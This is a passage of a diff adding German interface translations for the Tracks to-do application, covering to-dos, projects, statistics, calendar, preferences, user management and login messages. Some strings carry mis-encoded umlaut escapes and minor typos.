Alle Notizen anzeigen + tickler_title: Notizbuch + manage_users: Benutzer verwalten + export_title: Daten importieren und exportieren + preferences: Einstellungen + integrations_: Tracks integrieren + feeds_title: "Liste der verf\xC3\xBCgbaren Feeds anzeigen" + calendar_title: "Kalender mit \xC3\xBCberf\xC3\xA4lligen Aufgaben" + stats_title: Statistiken anzeigen + home_title: Start + starred_title: Markierte Aufgaben betrachten + tickler: Notizbuch + recurring_todos_title: Sich wiederholende To-Dos verwalten + completed_tasks: Erledigt + organize: Organisieren + view: Betrachten + completed_tasks_title: "Vollst\xC3\xA4ndig" + contexts_title: Kontexte + export: Export + home: Start + projects_title: Projekte + calendar: Kalender + preferences_title: Meine Einstellungen + search: "Alle Eintr\xC3\xA4ge durchsuchen" + models: + project: + feed_title: Tracks-Projekte + feed_description: "Listet alle Projekte f\xC3\xBCr %{username} auf" + todo: + error_date_must_be_future: muss ein Datum in der Zukunft sein + user: + error_context_not_associated: "Kontext-ID %{context} nicht mit Benutzer-ID %{user} verkn\xC3\xBCpft." + error_project_not_associated: "Projekt-ID %{project} nicht mit User-ID %{user} verkn\xC3\xBCpft." + preference: + due_styles: + - "F\xC3\xA4llig in ___ Tagen" + - "F\xC3\xA4llig am _______" + data: + import_successful: Import war erfolgreich. + import_errors: Beim Import sind Fehler aufgetreten. + activerecord: + attributes: + project: + name: + blank: Das Projekt muss benannt sein + taken: ist bereits vergeben + too_long: Der Projekt-Name muss kürzer als 256 Zeichen sein + default_tags: Standard Tags + default_context_name: Standard Kontext + description: Beschreibung + todo: + show_from: Zeigen ab dem + predecessors: "H\xC3\xA4ngt ab von" + notes: Notizen + project: Projekt + context: Kontext + description: Beschreibung + due: Fällig + user: + last_name: Nachname + first_name: Vorname + preference: + mobile_todos_per_page: Aufgaben pro Seite (Mobile Version) + sms_context: Standard-E-Mail-Kontext + refresh: Aktualisierungsintverall (in Minuten) + week_starts: Woche startet am + sms_email: Per E-Mail + show_project_on_todo_done: Zur Projektseite wechseln, wenn To-Do abgeschlossen + errors: + messages: + record_invalid: "" + greater_than_or_equal_to: "muss gr\xC3\xB6\xC3\x9Fer oder gleich %{count} sein" + confirmation: "stimmt nicht mit der Best\xC3\xA4tigung \xC3\xBCberein" + less_than_or_equal_to: muss kleiner oder gleich %{count} sein + blank: "muss ausgef\xC3\xBCllt werden" + exclusion: "ist nicht verf\xC3\xBCgbar" + invalid: "ist nicht g\xC3\xBCltig" + odd: muss ungerade sein + empty: "muss ausgef\xC3\xBCllt werden" + wrong_length: "hat die falsche L\xC3\xA4nge (muss genau %{count} Zeichen haben)" + even: muss gerade sein + too_short: ist zu kurz (nicht weniger als %{count} Zeichen) + less_than: muss kleiner als %{count} sein + equal_to: muss genau %{count} sein + greater_than: "muss gr\xC3\xB6\xC3\x9Fer als %{count} sein" + taken: ist bereits vergeben + accepted: muss akzeptiert werden + too_long: ist zu lang (nicht mehr als %{count} Zeichen) + not_a_number: ist keine Zahl + inclusion: "ist kein g\xC3\xBCltiger Wert" + models: + project: + attributes: + name: + blank: Projekt muss einen Namen haben + taken: existiert bereits + too_long: Projektname muss weniger als 256 Zeichen haben + template: + body: "Bitte \xC3\xBCberpr\xC3\xBCfen Sie die folgenden Felder:" + header: + one: "Konnte dieses %{model} Objekt nicht speichern: 1 Fehler." + other: "Konnte dieses %{model} Objekt nicht speichern: %{count} Fehler." + full_messages: + format: "" + stats: + totals_active_project_count: Von diesen sind %{count} aktive Projekte + tag_cloud_title: Tag-Cloud aller Aktionen + tag_cloud_description: Diese Tag-Cloud beinhaltet Tags aller Aktionen (abgeschlossen, nicht abgeschlossen, sichtbar und/oder unsichtbar) + tag_cloud_90days_title: Tag-Cloud-Aktionen in den letzten 90 Tagen + actions_last_year_legend: + number_of_actions: Anzahl Aktionen + months_ago: Monate zuvor + totals_first_action: Seit deiner ersten Aktion am %{date} + actions_avg_completion_time: Durchschnittlich hast du %{count} Tage gebraucht, um eine Aktion abzuschliessen. + actions_dow_30days_title: Wochentag (letzte 30 Tage) + current_running_time_of_incomplete_visible_actions: "Aktuelle Laufzeit unvollst\xC3\xA4ndiger sichtbarer Aufgaben" + totals_action_count: hattest du insgesamt %{count} Aktionen + totals_deferred_actions: "von denen %{count} im Notizbuch zur\xC3\xBCckgestellt sind" + top10_longrunning: "Top 10 der am l\xC3\xA4ngsten laufenden Projekte" + legend: + actions: Aktionen + number_of_days: Anzahl vergangene Tage + number_of_actions: Anzahl Aktionen + day_of_week: Wochentag + running_time: Laufzeit einer Aktion (Wochen) + percentage: Prozentsatz + months_ago: Monate zuvor + running_time_legend: + actions: Aufgaben + percentage: Prozentsatz + weeks: "Vergangene Zeit einer Aktion (Wochen). Klick auf eine Leiste f\xC3\xBCr mehr Informationen." + top5_contexts: Top 5 aller Kontexte + actions_lastyear_title: Aktionen der letzten 12 Monate + totals_actions_completed: "%{count} davon sind abgeschlossen." + totals_incomplete_actions: "Du hast %{count} unvollst\xC3\xA4ndige Aktionen" + totals_unique_tags: Von diesen Tags sind %{count} einmalig.. + actions_avg_completed_30days: und %{count} durchschnittlich davon erledigt. + totals_visible_context_count: Von diesen sind %{count} sichtbare Kontexte + totals_blocked_actions: "%{count} h\xC3\xA4ngen vom Abschluss anderer Aktionen ab." + action_completion_time_title: Fertigstellungszeit (alle abgeschlossenen Aktionen) + actions_last_year: Aktionen im letzten Jahr + totals_context_count: Du hast %{count} Kontexte. + actions_min_completion_time: "Die minimale Zeit betr\xC3\xA4gt %{time}." + no_tags_available: "keine Tags verf\xC3\xBCgbar" + actions_day_of_week_title: Wochentag (alle Aktionen) + totals_project_count: Du hast %{count} Projekte. + tags: Tags + actions_min_max_completion_days: "Das Minimum/Maximum an Tagen einer Vervollst\xC3\xA4ndigung ist %{min}/%{max}." + time_of_day: Tageszeit (alle Aktionen) + totals_hidden_project_count: "%{count} sind versteckt" + top5_visible_contexts_with_incomplete_actions: "Top 5 der sichtbaren Kontexte mit unvollst\xC3\xA4ndigen Aktionen" + tod30: Tageszeit (letzte 30 Tage) + running_time_all: "Aktuelle Laufzeit aller unvollst\xC3\xA4ndigen Aktionen." + totals_tag_count: Du hast %{count} Tags in Aktionen. + actions_30days_title: _Aktionen der letzten 30 Tage + more_stats_will_appear: "Weitere Statistiken werden verf\xC3\xBCgbar, wenn einige Aufgaben hinzugef\xC3\xBCgt wurden." + actions_further: und danach + tag_cloud_90days_description: Diese Tag-Cloud beinhaltet Tags der Aktionen, die in den letzten 90 Tagen erstellt oder abgeschlossen wurden. + spread_of_running_actions_for_visible_contexts: Verteilung der laufenden Aufgaben aller sichtbaren Kontexte + actions_avg_created: In den letzten 12 Monaten hast du im Durchschnitt %{count} Aktionen erstellt + other_actions_label: (andere) + click_to_return: "Klick auf %{link} um zur Statistikseite zur\xC3\xBCckzukehren." + actions_selected_from_week: "Aktionen ausgew\xC3\xA4hlt ab Woche" + top10_projects: Top 10 aller Projekte + spread_of_actions_for_all_context: Aufgabenverteilung aller Kontexte + click_to_show_actions_from_week: Klick auf %{link} um die Aktionen von Woche %{week} und danach anzuzeigen. + totals_completed_project_count: und %{count} sind abgeschlossene Projekte. + top10_projects_30days: Top-10-Projekt der letzten 30 Tage + totals_hidden_context_count: und %{count} sind versteckte Kontexte. + actions_avg_completed: und %{count} durchschnittlich davon monatlich erledigt + totals: Ingesamt + time_of_day_legend: + number_of_actions: Anzahl Aufgaben + time_of_day: Tageszeit + click_to_return_link: hier + click_to_update_actions: Klicke auf eine Leiste in der Grafik um die Aktionen unten zu aktualisieren. + labels: + month_avg_completed: "%{months} Monat durchschnittlich fertig gestellt" + completed: Erledigt + month_avg_created: "%{months} Monat durchschnittlich erstellt" + avg_created: Durchschnittlich erstellt + avg_completed: Durchschnittlich fertiggestellt + created: Erstellt + no_actions_selected: "Es sind keine Aufgaben ausgew\xC3\xA4hlt." + running_time_all_legend: + actions: Aktionen + running_time: "Laufzeit einer Aktion (Wochen). Klick auf eine Leiste f\xC3\xBCr mehr Informationen." + percentage: Prozentsatz + tod30_legend: + number_of_actions: Anzahl Aufgaben + time_of_day: Tageszeit + action_selection_title: TRACKS::Aktionsauswahl + actions_actions_avg_created_30days: In den letzten 30 Tagen hast du im Durchschnitt %{count} Aktionen erstellt + todos: + show_from: Anzeigen ab dem + error_starring_recurring: Konnte die Hervorhebung der wiederkehrenden Aufgabe \'%{description}\' nicht durchführen + recurring_action_deleted: Die Aktion wurde gelöscht. Da dies eine wiederkehrende Aktion ist, wurde eine neue erstellt. + completed_actions: Erledigte Aufgaben + completed_recurring: Abgeschlossene wiederkehrende To-Dos + added_new_next_action: Neue Aktion angelegt + blocked_by: Blockiert durch %{predecessors} + star_action: Aktion markieren + completed_recurrence_completed: Es gibt keine weitere Aktion nach der soeben gelöschten. Die Wiederholung ist abgeschlossen. + defer_date_after_due_date: "Zur\xC3\xBCckstellungsdatum nach Ablaufdatum. Bitte passe das Ablaufdatum an, dass es vor dem Zur\xC3\xBCckstellungsdatum liegt." + unable_to_add_dependency: Abhängigkeit nicht hinzufügbar + done: Erledigt? + star_action_with_description: Aktion '%{description}' markieren + tagged_with: getagged mit ‘%{tag_name}’ + completed: Erledigt + no_deferred_actions_with: "Keine zur\xC3\xBCckgestellten Aktionen mit dem Tag '%{tag_name}'" + no_hidden_actions: Momentan sind keine versteckten Aufgaben vorhanden + edit_action_with_description: Aktion '%{description}' bearbeiten + action_due_on: "(Aktion f\xC3\xA4llig am %{date})" + archived_tasks_title: TRACKS::Archivierte erledigte Aufgaben + remove_dependency: Abhängigkeit löschen (löscht nicht die Aufgabe) + list_incomplete_next_actions: Unerledigte Folge-Aufgaben anzeigen + action_deleted_success: Die nächste Aktion erfolgreich gelöscht + tags: Tags (Komma-separiert) + new_related_todo_created: "Eine neue To-Do wurde hinzugef\xC3\xBCgt, die zu dieser wiederkehrenden To-Do geh\xC3\xB6rt" + context_changed: Kontext zu %{name} gewechselt + mobile_todos_page_title: Alle Aufgaben + delete_recurring_action_title: "Wiederkehrende Aktion '%{description}' l\xC3\xB6schen" + removed_predecessor: "%{successor} entfernt als Abh\xC3\xA4ngigkeit von %{predecessor}." + recurring_actions_title: TRACKS::Wiederkehrende Aktionen + next_action_needed: Es muss mindestens eine folgende Aktion angelegt werden + action_saved: Aktion gespeichert + scheduled_overdue: "Planm\xC3\xA4\xC3\x9Fig angezeigt vor %{days} Tagen" + action_deleted_error: Fehler beim Löschen der Aufgabe + edit_action: Aktion bearbeiten + added_new_context: "Neuer Kontext hinzugef\xC3\xBCgt" + next_actions_description: "Filter:" + list_incomplete_next_actions_with_limit: Zeige die letzten %{count} unerledigten Folge-Aufgaben + set_to_pending: "%{task} als ausstehend markiert" + added_new_project: "Neues Projekt hinzugef\xC3\xBCgt" + next_actions_title_additions: + completed: Aufgaben erledigt + due_today: heute fällig + due_within_a_week: diese Woche fällig + older_completed_items: "Ältere erledigte Aufgaben" + append_in_this_project: in diesem Projekt + error_deleting_item: Beim Löschen von %{description} trat ein Fehler auf + task_list_title: TRACKS::Aufgaben anzeigen + no_actions_due_this_week: Keine zu erledigenden Aufgaben für den Rest der Woche + no_recurring_todos: Im Augenblick gibt es keine wiederkehrenden To-Dos + error_completing_todo: Beim Abschliessen/Aktivieren der wiederkehrenden To-Do %{description} ist ein Fehler aufgetreten + convert_to_project: In Projekt umwandeln + no_deferred_pending_actions: Momentan sind keine aufgeschobenen oder ausstehenden Aufgaben vorhanden. + delete_recurring_action_confirm: Soll die wiederkehrende Aktion '%{description}' wirklich gelöscht werden? + completed_last_day: In den letzten 24 Stunden erledigt + feed_title_in_context: im Kontext '%{context}' + no_project: --Kein Projekt-- + show_in_days: Anzeigen in %{days} Tagen + completed_more_than_x_days_ago: Vor mehr als %{count} Tagen erledigt + older_than_days: "Älter als %{count} Tage" + edit: Bearbeiten + pending: Ausstehend + completed_actions_with: Abgeschlossene Aktionen mit dem Tag %{tag_name} + completed_tasks_title: TRACKS::Erledigte Aufgaben + feed_title_in_project: im Projekt '%{project}' + clear_due_date: Fälligkeitsdatum leeren + error_removing_dependency: "Beim Entfernen der Abh\xC3\xA4ngigkeit ist ein Fehler aufgetreten" + hidden_actions: Verstecke Aufgaben + was_due_on_date: war am %{date} fällig + show_on_date: Anzeigen am %{date} + recurrence_period: Wiederholungszeitraum + deferred_actions_with: "Zur\xC3\xBCckgestellte Aktionen mit dem Tag '%{tag_name}'" + confirm_delete: "Bist du sicher, dass du die Aktion '%{description}' l\xC3\xB6schen m\xC3\xB6chtest?" + recurring_deleted_success: "Die wiederkehrende Aktion wurde erfolgreich gel\xC3\xB6scht." + next_actions_title: TRACKS::Weitere Aufgaben + next_action_description: "Beschreibung der n\xC3\xA4chsten Aktion" + deferred_tasks_title: TRACKS::Notizbuch + no_completed_actions_with: Keine abgeschlossenen Aktionen mit dem Tag '%{tag_name}' + clear_show_from_date: Datum leeren + calendar_page_title: TRACKS::Kalender + in_hidden_state: als versteckt markiert + completed_last_x_days: In den letzten %{count} Tagen erledigt + show_today: Heute anzeigen + no_actions_with: "Im Augenblick gibt es keine unvollst\xC3\xA4ndigen Aktionen mit dem Tag '%{tag_name}'" + defer_x_days: + one: "Einen Tag zur\xC3\xBCckstellen" + other: "%{count} Tage zur\xC3\xBCckstellen" + added_new_next_action_singular: Neue weiterführende Aufgabe angelegt + no_completed_actions: Momentan sind keine erledigten Aufgaben vorhanden. + deferred_pending_actions: Aufgeschobene/ausstehende Aufgaben + has_x_pending: + one: Hat eine ausstehende Aktion + other: Hat %{count} ausstehende Aktionen + feeds: + completed: "Erledigt: %{date}" + due: "F&auuml;llig: %{date}" + delete_action: "Aktion l\xC3\xB6schen" + error_deleting_recurring: "Beim L\xC3\xB6schen der wiederkehrenden To-Do %{description} ist ein Fehler aufgetreten" + recurring_todos: Wiederkehrende To-Dos + delete: "L\xC3\xB6schen" + drag_action_title: "Auf andere Aktion ziehen, um sie als Abh\xC3\xA4ngigkeit zu definieren" + depends_on: "H\xC3\xA4ngt ab von" + tickler_items_due: + one: Ein Notizbuch-Eintrag ist nun fällig - lade die Seite neu, um sie zu sehen. + other: "%{count} Notizbuch-Einträge sind nun fällig - lade die Seite neu, um sie zu sehen." + action_marked_complete: Die Aktion '%{description}' wurde als %{completed} markiert. + completed_today: + one: Du hast heute bereits eine Aufgabe erledigt. + other: Du hast heute bereits %{count} Aufgaben erledigt. + added_new_next_action_plural: Neue weiterführende Aufgaben angelegt + error_starring: Konnte die Hervorhebung von \'%{description}\' nicht durchführen + calendar: + get_in_ical_format: Diesen Kalender im iCal Format herunterladen + due_next_week: Nächste Woche fällig + due_this_week: Die restliche Woche zu erledigen + no_actions_due_next_week: Keine Aufgaben für die kommende Woche + no_actions_due_today: Heute sind keine Aufgaben fällig + due_today: Heute zu erledigen + due_next_month_and_later: Im %{month} und später fällig + no_actions_due_after_this_month: Nach diesem Monat sind keine Aufgaben fällig + due_this_month: Im %{month} fällig + no_actions_due_this_month: Keine Aktionen für den Rest des Monats + show_tomorrow: Morgen anzeigen + recurrence: + ends_on_date: Endet am %{date} + every_work_day: Jeden Arbeitstag + ends_on_number_times: Endet nach %{number} Mal + recurrence_on_due_date: Das Datum der To-Do ist verstrichen. + weekly_options: "Einstellungen f\xC3\xBCr sich w\xC3\xB6chentlich wiederholende Aktionen" + weekly: "W\xC3\xB6chentlich" + monthly_options: "Einstellungen f\xC3\xBCr sich monatlich wiederholende Aktionen" + monthly: Monatlich + starts_on: Beginnt am + daily_options: "Einstellungen f\xC3\xBCr sich t\xC3\xA4glich wiederholenden Aktionen" + daily: "T\xC3\xA4glich" + show_option_always: immer + yearly_every_x_day: "Jeden %{day}. %{month} " + recurrence_on_options: Setze Wiederholung auf + daily_every_number_day: Alle %{number} Tage + ends_on: Endet am + weekly_every_number_week: Kehrt jede %{number}. Woche wieder am + show_options: To-Do anzeigen + show_days_before: "%{days} Tage bevor die To-Do f\xC3\xA4llig ist" + yearly_every_xth_day: Den %{day} %{day_of_week} des %{month} + from_tickler: the date todo comes from tickler (no due date set) + no_end_date: Kein Enddatum + day_x_on_every_x_month: Tag %{day} in jedem %{month}. Monat + yearly_options: "Einstellungen f\xC3\xBCr sich j\xC3\xA4hrlich wiederholende Aktionen" + yearly: "J\xC3\xA4hrlich" + monthly_every_xth_day: Der %{day} %{day_of_week} eines jeden %{month}. Monats + tagged_page_title: TRACKS::Als '%{tag_name}' markiert + no_completed_recurring: Im Augenblick gibt es keine abgeschlossenen wiederkehrenden To-Dos + added_dependency: "%{dependency} als Abhängigkeit hinzugefügt." + no_deferred_actions: Zur Zeit sind keine zurückgestellten Aktionen vorhanden. + recurrence_completed: Nach dieser wiederkehrenden Aktion, die du gerade abgeschlossen hast, folgt keine mehr. Die Wiederholung endet hiermit + no_actions_found: Keine Aktionen gefunden + in_pending_state: und als ausstehend markiert + due: Fällig + action_marked_complete_error: Die Aktion '%{description}' wurde aufgrund eines Fehlers NICHT als %{completed} markiert. + recurring_action_saved: Wiederkehrende Aktion gespeichert + action_saved_to_tickler: Aktion im Notizbuch gespeichert + depends_on_separate_with_commas: Hängt ab von (Komma-separiert) + completed_in_archive: + one: Es befindet sich eine erledigte Aufgabe im Archiv. + other: Es befinden sich %{count} erledigte Aufgaben im Archiv. + to_tickler: ", im Notizbuch hinterlegt" + next_actions_description_additions: + completed: In den letzten %{count} Tagen + due_date: mit einem Datum %{due_date} oder früher + overdue: "Überfällig" + add_new_recurring: "F\xC3\xBCge eine neue wiederkehrende Aktion hinzu" + no_incomplete_actions: Es gibt keine unerledigten Aufgaben + notes: + delete_note_title: Notiz '%{id}' löschen + delete_confirmation: "Bist du sicher, dass du die Notiz '%{id}' l\xC3\xB6schen m\xC3\xB6chtest?" + delete_item_title: Eintrag löschen + note_link_title: Notiz %{id} anzeigen + show_note_title: Notiz anzeigen + deleted_note: "Notiz '%{id}' l\xC3\xB6schen" + note_location_link: "In:" + edit_item_title: Eintrag bearbeiten + note_header: Notiz %{id} + no_notes_available: "Derzeit gibt es keine Notizen: f\xC3\xBCge Notizen von der jeweiligen Projektseite hinzu." + delete_note_confirm: Soll die Notiz '%{id}' wirklich gelöscht werden? + projects: + default_tags_removed_notice: Standard-Tags entfernt + default_context_set: Standard-Kontext des Projekts auf %{default_context} gesetzt + deferred_actions: "Aufgeschobene Aufgaben f\xC3\xBCr dieses Projekt" + edit_project_title: Projekt bearbeiten + hide_form: Fomular verstecken + page_title: "TRACKS::Projekt: %{project}" + no_notes_attached: "Im Augenblick sind keine Notizen mit diesem Projekt verkn\xC3\xBCpft." + deferred_actions_empty: "Es gibt keine aufgeschobenen Aufgaben f\xC3\xBCr dieses Projekt" + project_state: Projekt ist %{state} + show_form_title: Neues Projekt anlegen + to_new_project_page: Zu neuem Projekt weiterleiten + notes: Notizen + todos_append: an dieses Projekt + notes_empty: "Es gibt keine Notizen f\xC3\xBCr dieses Projekt" + no_projects: Keine Projekte vorhanden + hide_form_title: Formular verstecken + completed_actions_empty: "Es gibt keine erledigten Aufgaben f\xC3\xBCr dieses Projekt" + delete_project: Projekt löschen + show_form: Projekt erstellen + delete_project_confirmation: Soll das Projekt '%{name}' wirklich gelöscht werden? + add_note: "Notiz hinzuf\xC3\xBCgen" + settings: Einstellungen + completed_projects: Abgeschlossene Projekte + list_projects: TRACKS::Projektliste + add_project: Projekt hinzufügen + set_default_tags_notice: Standard-Tags des Projekts auf %{default_tags} setzen + project_saved_status: Projekt gespeichert + hidden_projects: Versteckte Projekte + delete_project_title: Projekt löschen + default_context_removed: Standard-Kontext entfernt + add_note_submit: "Notiz hinzuf\xC3\xBCgen" + completed_actions: "Erledigte Aufgaben f\xC3\xBCr dieses Projekt" + default_context: Der Standard-Kontext dieses Projektes ist %{context} + status_project_name_changed: "Projektname ge\xC3\xA4ndert" + state: Dieses Projekt ist %{state} + active_projects: Aktive Projekte + no_default_context: Dieses Projekt hat keinen Standard-Kontext + errors: + user_unauthorized: "401 Unauthorized: Nur administrative Benutzer d\xC3\xBCrfen auf diese Funktion zugreifen." + time: + am: vormittags + formats: + default: "%A, %d. %B %Y, %H:%M Uhr" + time: "%H:%M" + short: "%d. %B, %H:%M Uhr" + long: "%A, %d. %B %Y, %H:%M Uhr" + pm: nachmittags + states: + hidden_plural: Versteckte + completed: Erledigt + completed_plural: Erledigte + visible_plural: Sichtbare + active_plural: Aktive + visible: Sichtbar + active: Aktiv + hidden: Versteckt + preferences: + staleness_starts_after: Staleness starts after %{days} days + open_id_url: "Deine OpenID-URL lautet:" + change_identity_url: "\xC3\x84ndere deine Identit\xC3\xA4ts-URL" + page_title: TRACKS::Einstellungen + change_password: "Passwort \xC3\xA4ndern" + token_description: "Token (f\xC3\xBCr die Verwendung in Feeds und der API)" + title: Deine Einstellungen + show_number_completed: "Zeige %{number} erledigte Eintr\xC3\xA4ge" + edit_preferences: Einstellungen bearbeiten + page_title_edit: "TRACKS::Einstellungen \xC3\xA4ndern" + generate_new_token: Neues Token generieren + sms_context_none: Keine + token_header: Dein Token + authentication_header: Deine Authentifizierung + current_authentication_type: Dein Authentifizierungsart ist %{auth_type} + change_authentication_type: "Authentifzierungsart \xC3\xA4ndern" + generate_new_token_confirm: "Bist du sicher? Wenn du ein neues Token generierst, wird dies das alte Token ersetzen und jegliche externe Nutzung st\xC3\xB6ren, die das alte Token verwendet." + date: + month_names: + - + - Januar + - Februar + - !binary | + TcOkcno= + + - April + - Mai + - Juni + - Juli + - August + - September + - Oktober + - November + - Dezember + order: + - :day + - :month + - :year + abbr_day_names: + - So + - Mo + - Di + - Mi + - Do + - Fr + - Sa + formats: + only_day: "%e" + default: "%d.%m.%Y" + short: "%e. %b" + long: "%e. %B %Y" + day_names: + - Sonntag + - Montag + - Dienstag + - Mittwoch + - Donnerstag + - Freitag + - Samstag + abbr_month_names: + - + - Jan + - Feb + - !binary | + TcOkcg== + + - Apr + - Mai + - Jun + - Jul + - Aug + - Sep + - Okt + - Nov + - Dez + support: + array: + last_word_connector: " und " + words_connector: ", " + two_words_connector: " und " + shared: + multiple_next_actions: Mehrere neue Aufgaben (eine pro Zeile) + hide_form: Formular verstecken + toggle_single: Weitere Aktion erstellen + add_action: "Aufgabe hinzuf\xC3\xBCgen" + add_actions: "Aufgaben hinzuf\xC3\xBCgen" + tags_for_all_actions: "Tags f\xC3\xBCr alle Aufgaben (mit Kommas trennen)" + toggle_multi: "Mehrere neue Aufgabeneintr\xC3\xA4ge hinzuf\xC3\xBCgen" + toggle_single_title: Eine weitere Aktion hinzufügen + project_for_all_actions: "Projekt f\xC3\xBCr alle Aufgaben" + context_for_all_actions: "Kontext f\xC3\xBCr alle Aufgaben" + separate_tags_with_commas: mit Kommas trennen + toggle_multi_title: "Zwischen Einzel- und Mehrfachformular f\xC3\xBCr neue Aufgaben umschalten" + hide_action_form_title: "Formular f\xC3\xBCr neue Aufgaben verstecken" + users: + total_contexts: Alle Kontexte + successfully_deleted_user: Benutzer %{username} erfolgreich gelöscht. + failed_to_delete_user: Löschen des Benutzers %{username} fehlgeschlagen + openid_url_verified: Die URL %{url} wurde erfolgreich als Identität verifiziert und Deine Authentifizierung auf OpenID umgestellt. + destroy_successful: "Benutzer %{login} wurde erfolgreich gel\xC3\xB6scht" + auth_type_update_error: "Beim Ändern der Authentifizierung trat ein Fehler auf: %{error_messages}" + first_user_heading: "Willkommen bei TRACKS. Als erstes legen Sie bitte einen Administrator-Zugang an:" + total_projects: Alle Projekte + signup_successful: Benutzer %{username} erfolgreich angelegt. + new_token_generated: Neuer Token erfolgreich generiert + no_signups_title: TRACKS::Anmeldung nicht erlaubt + user_created: Benutzer angelegt. + change_password_submit: "Passwort \xC3\xA4ndern" + manage_users: Benutzer verwalten + account_signup: Accounteinrichtung + password_updated: Passwort aktualisiert. + signup: Registrieren + confirm_password: "Passwort best\xC3\xA4tigen" + new_user_heading: "Einen neuen Benutzer anlegen:" + auth_type_updated: Authentifizierungs-Art erfolgreich geändert. + total_actions: Alle Aufgaben + desired_login: "Gew\xC3\xBCnschter Benutzername" + destroy_error: "Beim L\xC3\xB6schen des Benutzers %{login} ist ein Fehler aufgetreten." + choose_password: "Passwort w\xC3\xA4hlen" + change_password_title: TRACKS::Passwort ändern + change_auth_type_title: TRACKS::Authentifizierungstyp ändern + change_password_prompt: "Gib dein neues Passwort in die unten stehenden Felder ein und klicke auf 'Passwort \xC3\xA4ndern' um dein altes Passwort durch das neue zu ersetzen." + password_confirmation_label: "Passwort best\xC3\xA4tigen" + label_auth_type: Authentifizierungsart + new_password_label: Neues Passwort + register_with_cas: Mit deinem CAS-Benutzernamen + destroy_user: "Benutzer l\xC3\xB6schen" + total_users_count: Derzeit existieren %{count} Benutzer + new_user_title: TRACKS::Als Administrator anmelden + destroy_confirmation: "Achtung: der Benutzer '%{login}' wird mit all seinen Aufgaben, Kontexten, Projekten und Notizen gel\xC3\xB6scht. Bist du sicher, dass du fortfahren m\xC3\xB6chtest?" + signup_new_user: Neuen Benutzer anlegen + identity_url: Identity-URL + change_authentication_type: "Authentifizierungsart \xC3\xA4ndern" + auth_change_submit: "Authentifizierungsart \xC3\xA4ndern" + openid_ok_pref_failed: Die URL %{url} wurde erfolgreich als Identität verifiziert, beim Speichern der Einstellungen trat jedoch ein Fehler auf. + select_authentication_type: "W\xC3\xA4hle deine neue Authentifizierungsart und klicke 'Authentifizierungsart \xC3\xA4ndern' an, um deine aktuellen Einstellungen zu \xC3\xBCberschreiben." + total_notes: Alle Notizen + feedlist: + actions_due_today: "Heute oder fr\xC3\xBCher f\xC3\xA4llig" + choose_context: "Kontext f\xC3\xBCr den Feed w\xC3\xA4hlen" + ical_feed: iCal-Feed + all_contexts: Alle Kontexte + legend: "Legende:" + rss_feed: RSS-Feed + all_projects: Alle Projekte + choose_project: "Projekt f\xC3\xBCr den Feed w\xC3\xA4hlen" + project_needed: Es muss mindestens ein Projekt existieren, bevor ein Feed abonniert werden kann. + select_feed_for_project: "Feed f\xC3\xBCr dieses Projekt ausw\xC3\xA4hlen" + active_projects_wo_next: Aktive Projekte ohne ausstehende Aufgaben + active_starred_actions: Alle markierten, aktiven Aufgaben + context_needed: Es muss mindestens ein Kontext existieren, bevor ein Feed abonniert werden kann. + select_feed_for_context: "Feed f\xC3\xBCr diesen Kontext ausw\xC3\xA4hlen" + projects_and_actions: Aktive Projekte und deren Aufgaben + actions_due_next_week: "In den n\xC3\xA4chsten 7 Tagen oder fr\xC3\xBCher f\xC3\xA4llige Aufgaben" + notice_incomplete_only: "Hinweis: Alle Feeds zeigen nur Aufgaben, die noch nicht als erledigt markiert wurden." + context_centric_actions: "Feeds f\xC3\xBCr unvollst\xC3\xA4ndige Aufgaben in einem bestimmten Kontext" + plain_text_feed: Plain-Text-Feed + last_fixed_number: Die letzten %{number} Aufgaben + all_actions: Alle Aufgaben + actions_completed_last_week: In den letzten 7 Tagen abgeschlossene Aufgaben + project_centric: "Feeds f\xC3\xBCr unvollst\xC3\xA4ndige Aufgaben in einem bestimmten Kontext" + sidebar: + list_name_active_contexts: Aktive Kontexte + list_name_active_projects: Aktive Projekte + list_empty: Keine + list_name_completed_projects: Abgeschlossene Projekte + list_name_hidden_projects: Versteckte Projekte + list_name_hidden_contexts: Versteckte Kontexte + contexts: + delete_context_title: Kontext löschen + hide_form: Formular verstecken + show_form_title: Neuen Kontext erstellen + delete_context: Kontext löschen + delete_context_confirmation: Soll der Kontext '%{name}' wirklich gelöscht werden? Alle (wiederholenden) Aufgaben dieses Kontexts werden hierdurch ebenfalls gelöscht. + edit_context: Kontext bearbeiten + hide_form_title: Formular für neuen Kontext verstecken + hidden_contexts: Versteckte Kontexte + no_contexts_active: Derzeit gibt es keine aktiven Kontexte + context_hide: Auf Startseite ausblenden? + show_form: Neuen Kontext erstellen + add_context: "Kontext hinzuf\xC3\xBCgen" + visible_contexts: Sichtbare Kontexte + save_status_message: Kontext gespeichert + update_status_message: "Kontextname wurde ge\xC3\xA4ndert" + context_name: Kontextname + status_active: Kontext ist aktiv + new_context_post: "' wird ebenfalls angelegt. Fortfahren?" + new_context_pre: Der neue Kontext ' + no_actions: "Momentan gibt es keine unvollst\xC3\xA4ndigen Aufgaben in diesem Kontext" + last_completed_in_context: in diesem Kontext (letzte %{number}) + context_deleted: "Gel\xC3\xB6schter Kontext '%{name}'" + no_contexts_hidden: Derzeit gibt es keine versteckten Kontexte + status_hidden: Kontext ist versteckt + datetime: + prompts: + minute: Minuten + second: Sekunden + month: Monat + hour: Stunden + day: Tag + year: Jahr + distance_in_words: + less_than_x_minutes: + one: weniger als eine Minute + other: weniger als %{count} Minuten + zero: weniger als 1 Minute + x_days: + one: 1 Tag + other: "%{count} Tage" + x_seconds: + one: 1 Sekunde + other: "%{count} Sekunden" + less_than_x_seconds: + one: weniger als 1 Sekunde + other: weniger als %{count} Sekunden + zero: weniger als 1 Sekunde + x_months: + one: 1 Monat + other: "%{count} Monate" + x_minutes: + one: 1 Minute + other: "%{count} Minuten" + about_x_hours: + one: etwa 1 Stunde + other: etwa %{count} Stunden + about_x_months: + one: etwa 1 Monat + other: etwa %{count} Monate + about_x_years: + one: etwa 1 Jahr + other: etwa %{count} Jahre + over_x_years: + one: mehr als 1 Jahr + other: mehr als %{count} Jahre + half_a_minute: eine halbe Minute + login: + user_no_expiry: Angemeldet bleiben + login_cas: zum CAS gehen + sign_in: Anmeldung + openid_identity_url_not_found: "Sorry, aber es existiert kein Benutzer mit der Identit\xC3\xA4ts-URL (%{identity_url})" + cas_logged_in_greeting: Hallo, %{username}! Du bist authentifiziert. + cas_no_user_found: Hallo, %{username}! Du hast leider keinen Tracks-Account. + cas_login: CAS-Anmeldung + successful_with_session_info: "Anmeldung erfolgreich:" + please_login: Bitte melde dich an, um Tracks zu 